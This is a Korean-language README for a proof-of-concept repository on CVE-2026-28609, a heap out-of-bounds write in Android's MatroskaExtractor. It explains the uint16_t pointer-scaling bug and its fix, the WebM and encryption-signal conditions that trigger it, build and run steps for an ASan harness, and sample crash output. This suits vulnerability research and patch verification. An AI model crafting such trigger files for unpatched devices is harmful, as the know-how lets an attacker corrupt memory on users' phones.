
CVE-2026-28609에 대한 개념 증명 및 계측 재현 하네스로, 빅엔디언 PCM 오디오 트랙이 포함된 조작된 WebM 파일을 통해 도달 가능한 Android의 MatroskaExtractor에서 발생하는 범위를 벗어난 쓰기 취약점입니다.
CVE-2026-28609에 대한 개념 증명(Proof-of-concept), 계측된 재현 하네스, 그리고 기술 문서입니다. 이 취약점은 빅엔디언 PCM 오디오 트랙을 포함한 조작된 WebM 파일을 통해 도달 가능한 Android의 MatroskaExtractor에서 발생하는 범위 초과 쓰기입니다.
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppAndroid의 MatroskaExtractor 내 MatroskaSource::read()에는 PCM 빅엔디언 바이트 스왑 루프가 있으며, 이 루프는 바이트 오프셋인 frame->range_offset()을 더하기 전에 프레임 데이터 포인터를 uint16_t *로 캐스팅합니다. uint16_t *에 대한 C 포인터 연산은 오프셋을 sizeof(uint16_t) = 2배로 스케일링하므로, 결과 포인터는 버퍼 시작점으로부터 range_offset 바이트가 아닌 2 * range_offset 바이트 뒤를 가리킵니다.
range_offset > 0일 때, 루프는 프레임의 MediaBuffer 끝을 넘어 1바이트 이상을 읽고 씁니다. ASan이 없는 기기에서는 초과 읽기가 조용히 성공하고, 초과 쓰기는 버퍼 바로 다음 바이트를 손상시킵니다.
취약한 라인:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
업스트림 수정은 오프셋을 적용하기 전에 포인터를 uint8_t *로 캐스팅합니다:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
실제 Android 14 기기에서 AddressSanitizer 하에 검증된, CVE-2026-28609에 대한 작동하고 재현 가능한 트리거입니다. 저장소에는 다음이 포함됩니다:
range_offset을 가진 취약한 분기로 유도하는 WebM 파일을 생성하는 Python 생성기.dlopen을 통해 추출기 플러그인을 로드하고, GETEXTRACTORDEF를 호출하며, 파일에서 프레임을 읽는 C-ABI 하네스.취약한 기기에서의 결과:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
취약한 분기는 다음 조건이 모두 참이어야 합니다:
| 조건 | 출처 |
|---|---|
| 트랙이 PCM | mType == PCM |
처음 세 가지는 코덱 ID A_PCM/INT/BIG와 비트 깊이 16으로 트랙을 선언하면 충족됩니다. 네 번째가 흥미로운 부분입니다.
range_offset은 MatroskaSource::setWebmBlockCryptoInfo()에서만 0이 아닌 값으로 설정되며, 이 함수는 다음 조건에서 readBlock()으로부터 호출됩니다:
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
따라서 트리거 파일은 다음을 만족해야 합니다:
mIsWebm — EBML DocType 요소가 "matroska"가 아닌 "webm"이어야 합니다.mEncrypted — 트랙이 ContentEncodingType = 1(암호화)과 ContentEncKeyID를 가진 ContentEncodings를 선언해야 합니다.0x1)가 0인 신호 바이트여야 하며, 이는 프레임이 암호화되지 않았지만 콘텐츠 인코딩되었음을 나타냅니다. 이는 setWebmBlockCryptoInfo의 else 분기를 타며, set_range(1, len - 1)을 호출합니다.스트립 후, 모든 프레임에 대해 range_offset = 1이 됩니다. 취약한 분기는 (uint16_t *)data + 1을 계산하여 2바이트를 전진시키고, 루프는 [2, 2 + range_length) 바이트를 읽고 씁니다 — 65바이트 할당(64바이트 프레임 + 1바이트 신호)의 끝을 1바이트 초과합니다.
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
신호 바이트 0x00은 set_range(1, 64)에 의해 스트립되어, 65바이트 할당 내에 64바이트 프레임을 남깁니다. 취약한 포인터 연산은 그런 다음 바이트 오프셋 2부터 65까지 씁니다.
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
빌드 전에 사용자가 클론하는 업스트림 의존성:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash, python3, make가 있는 Linux 또는 WSL2$ANDROID_NDK_HOME으로 설정PATH에 adb (Linux, 또는 WSL의 adb.exe)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
AOSP 트리가 모듈식 추출기 레이아웃(av/media/module/extractors/mkv/)을 사용한다면 추가 조정이 필요하지 않습니다. 이전 레이아웃(av/media/libstagefright/matroska/)을 사용한다면 빌드 스크립트의 MKV 변수를 참조하세요.
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
ANDROID_API를 대상 기기와 일치하도록 설정하세요(예: Android 14의 경우 34).
./scripts/run.sh
run.sh 스크립트는 다음 네 단계를 순서대로 실행합니다:
build_foundation.sh — av/media/module/foundation/과 av/media/module/metadatautils/의 28개 소스 파일을 plugin-asan/libstagefright_foundation_asan.a로 컴파일합니다.build_plugin.sh — MatroskaExtractor.cpp, mkvparser.cc, mkvreader.cc를 컴파일하고 아카이브와 링크하여 libmkvextractor_asan.so를 만듭니다.build_harness.sh — harness_c_abi를 -shared-libsan으로 컴파일합니다.poc.mkv를 /data/local/tmp로 푸시하고 하네스를 실행합니다.빌드 스크립트는 누락된 include 루트를 자동으로 검색합니다. 컴파일러가 fatal error: 'X' file not found를 보고하면, 스크립트는 의존성 트리를 검색하여 X의 부모 디렉터리를 찾아 include_dirs.conf에 추가합니다. 이것이 첫 빌드 중에 include_dirs.conf가 커지는 이유입니다. 모든 헤더가 검색되면 파일이 안정화되고 이후 빌드는 결정적입니다.
취약한 기기에서 하네스는 다음을 출력합니다:
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor uuid[0..3]=abbedd92 version=1 api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
#0 0x71ecb0ec48 (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
#1 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#2 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#3 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
#0 0x727c507668 (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
#1 0x5861ac26c0 (/data/local/tmp/harness_c_abi+0x46c0)
#2 0x71ecb15e7c (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
#3 0x71ecb0b50c (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
#4 0x71ecb0d96c (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
#5 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#6 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#7 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
#8 0x5861ac15f4 (/data/local/tmp/harness_c_abi+0x35f4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14927==ABORTING
Aborted
세 개의 숫자가 트리거를 확인합니다:
WRITE of size 2 (또는 ASan이 data[i] = ntohs(data[i])의 읽기 부분을 먼저 잡으면 READ)65-byte region — 프레임 할당은 64 데이터 바이트에 1바이트 암호화 신호를 더한 것입니다0 bytes after — 접근이 할당 바로 다음 첫 바이트에 위치합니다setWebmBlockCryptoInfo의 분할 암호화 경로(신호 바이트 0x03)를 필요로 하며, 이 생성기에서는 실행되지 않습니다./data/local/tmp 외부는 건드리지 않습니다. 플러그인은 하네스 프로세스에 의해서만 로드됩니다.생성기에는 검증기가 내장되어 있습니다. 푸시하기 전에 실행하세요:
python3 exploit/generator.py poc.mkv
예상 결과:
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify] cause readBlock to strip the 1-byte signal via
[verify] set_range(1, len-1), setting range_offset=1
[verify] on every PCM frame. The uint16_t* cast in the
[verify] vulnerable branch then writes 2 bytes past the
[verify] end of the 64-byte frame buffer.
모든 필수 필드가 확인됩니다: DocType, TrackType, CodecID, BitDepth, Channels, ContentEncodingType, ContentEncodingScope, ContentEncAlgo, ContentEncKeyID. 필드가 잘못되면 생성기는 FAIL과 함께 종료하고 특정 불일치를 출력합니다.
| 날짜 | 이벤트 |
|---|---|
| 2026-03-02 | Google이 CVE 예약 |
| 2026-09-08 | Android 보안 게시판에서 공개 공개 |
| 2026-09-09 | LineageOS lineage-20.0에 수정 병합 (변경 497992) |
| 2026-09 | 이 PoC가 개발되어 실제 기기에서 검증됨 |
이 저장소는 방어적 보안 연구 및 취약점 검증만을 위해 게시됩니다. 다음을 위한 것입니다:
소유하지 않았거나 명시적인 서면 승인 없이 테스트할 권한이 없는 기기에서는 이 코드를 사용하지 마세요. 소유하지 않은 기기에서 하네스를 실행하거나 생성기를 사용하여 배포용 트리거 파일을 생성하는 것은 귀하의 관할권의 컴퓨터 오용 법률 및 GitHub의 허용 사용 정책을 위반할 수 있습니다.
저자는 이 연구의 악의적 목적 사용을 용인하지 않습니다. 생성기가 생성하는 트리거 파일은 AddressSanitizer 하에서 특정 함수를 충돌시키도록 설계되었으며, 실행 가능한 페이로드를 포함하지 않고, 시스템을 수정하지 않으며, 하네스 프로세스를 넘어 지속되지 않습니다.
보증은 제공되지 않습니다. 코드는 있는 그대로 제공됩니다. 저자는 오용이나 프로덕션 하드웨어에서 하네스 실행으로 인한 손상에 대해 어떠한 책임도 지지 않습니다.
귀하가 벤더이고 이 저장소에 조정된 공개(coordinate disclosure) 하에 처리되어야 할 자료가 포함되어 있다고 판단되면, 이슈를 열어주시면 저자가 72시간 이내에 응답할 것입니다.
이 프로젝트는 Apache-2.0 라이선스로 배포됩니다. 전체 텍스트는 LICENSE를 참조하세요.
Copyright © 2026 — the CVE-2026-28609 PoC contributors.
클론 후 이 파일의 이름을 include_dirs.conf로 변경하세요. 이것은 시드입니다. 빌드 스크립트는 첫 실행 중에 이를 확장합니다.
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.
$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include
scripts/build.conf.sample클론 후 build.conf로 이름을 변경하세요.
# build.conf — build configuration for CVE-2026-28609 PoC
# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34
# Enable AddressSanitizer.
ENABLE_ASAN=1
# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"
# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
| 빅엔디언 | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| 16비트 샘플 | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
프레임에 0이 아닌 range_offset | set_range(offset, ...)에 의해 설정됨 |